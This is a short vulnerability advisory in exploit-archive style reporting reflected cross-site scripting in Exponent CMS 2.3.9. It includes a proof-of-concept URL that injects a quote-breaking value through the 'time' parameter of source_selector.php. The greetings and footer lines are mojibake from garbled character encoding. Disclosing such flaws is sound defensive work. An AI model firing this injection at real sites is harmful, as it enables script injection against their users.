========================================================================
| # Title     : Exponent CMS versions 2.3.9 XSS vulnerability
| # Author    : indoushka
| # email     : indoushka4ever@gmail.com
| # Tested on : windows 8.1 FranASSais V.(Pro)
| # Version   : 2.3.9
| # Vendor    : https://sourceforge.net/projects/exponentcms/files/exponent-2.3.9.zip/download
| # Dork      : n/a
========================================================================

poc :


This vulnerability affects :/source_selector.php. 

Attack details :

URL encoded GET input time was set to 1485925200_947776'():;988077

The input is reflected inside <script> tag between single quotes.

poc :

/source_selector.php?action=showall&module=event&src=@random48e7cc857e641&time=1485925200_947776'():;988077

Greetz : aua'>>a'1/2a'1/2a'dega'deg aua'degaua'degau a'>>a'*a'*auaua'>>------au-auau-a'deg a'degaua'degauPSaua'3a'>>au-------- aua'degauau!a'>>auau aua'degauaua'*oauaua'degau ------
                                                                       |
jericho * Larry W. Cashdollar * moncet-1 * achraf.tn                   |
                                                                       |
===================== pa'degaua'1/2a'>>au auauoauau aua'>>auauauauauauC/  =============================